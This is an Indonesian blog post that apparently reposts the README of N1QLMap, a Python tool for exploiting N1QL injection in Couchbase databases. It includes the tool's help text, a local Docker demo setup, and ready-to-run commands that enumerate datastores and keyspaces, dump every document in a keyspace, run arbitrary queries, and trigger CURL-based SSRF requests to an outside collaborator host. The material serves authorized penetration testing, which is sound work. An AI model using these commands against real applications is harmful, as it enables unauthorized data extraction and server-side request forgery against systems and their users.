Breaking

Wednesday, December 2, 2020

N1QLMap - Alat Mengeksfiltrasi Data Dari Database Couchbase Dengan Memanfaatkan Kerentanan Injeksi N1QL

 Kang IT

N1QLMap - Alat Mengeksfiltrasi Data Dari Database Couchbase Dengan Memanfaatkan Kerentanan Injeksi N1QL



N1QLMapadalah alat eksploitasi N1QL Saat ini bekerja dengan database Couchbase. Alat ini mendukung ekstraksi data dan melakukan serangan SSRF melalui CURL. Informasi lebih lanjut dapat ditemukan di sini: https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database .




Bantuan Penggunaan


usage: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v]
(-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]])
host

positional arguments:
host Host used to send an HTTP request e.g. https://vulndomain.net

optional arguments:
-h, --help show this help message and exit
-r REQUEST, --request REQUEST
Path to an HTTP request
-k KEYWORD, --keyword KEYWORD
Keyword that exists in HTTP response when query is successful
--proxy PROXY Proxy server address
--validatecerts Set the flag to enforce certificate validation. Certificates are not validated by default!
-v, --verbose_debug Set the verbosity level to debug
-d, -- datastores Lists available datastores
-ks DATASTORE_URL, --keyspaces DATASTORE_URL
Lists available keyspaces for specific datastore URL
-e KEYSPACE_ID, --extract KEYSPACE_ID
Extracts data from a specific keyspace
-q QUERY, --query QUERY
Run arbitrary N1QL query
-c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]]
Runs CURL N1QL function inside the query, can be used to SSRF


Pemakaian

  1. Masukkan permintaan HTTP ke request.txtfile. Tandai titik injeksi menggunakan *i*Lihat example_request_1.txtfile untuk referensi.
  2. Gunakan salah satu perintah berikut.

Ekstrak datastores:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores

Ekstrak ruang kunci dari ID datastore tertentu:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"

Ekstrak semua dokumen dari ruang kunci yang diberikan:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample

Jalankan kueri arbitrer:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'

Lakukan permintaan CURL / SSRF:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"


Demo

Untuk bermain dengan kerentanan Anda dapat memutar mesin Docker dengan aplikasi web Couchbase dan NodeJS. Jika Anda sudah memenuhi Requirements, jalankan saja:

cd n1ql-demo
./quick_setup.sh

Sekarang, Anda dapat menjalankan perintah yang dijelaskan di Usagebagian terhadap aplikasi web Docker.


Persyaratan

N1QLMap.pyskrip tidak memerlukan persyaratan khusus selain Python 3.

Persyaratan berikut hanya untuk Demo yang tersedia di n1ql-demodirektori.

  • Buruh pelabuhan
  • Docker Compose

Untuk menginstal Docker dan Docker Compose di Kali:

# Docker Installation
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list
apt-get update

apt-get remove docker docker-engine docker.io
apt-get install docker-ce

# Start Docker Service
systemctl start docker

# Docker Compose Installation
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

Mari kita uji Docker:

docker run hello-world




Regards

dr. Muhammad Sobri Maulana

No comments:

Post a Comment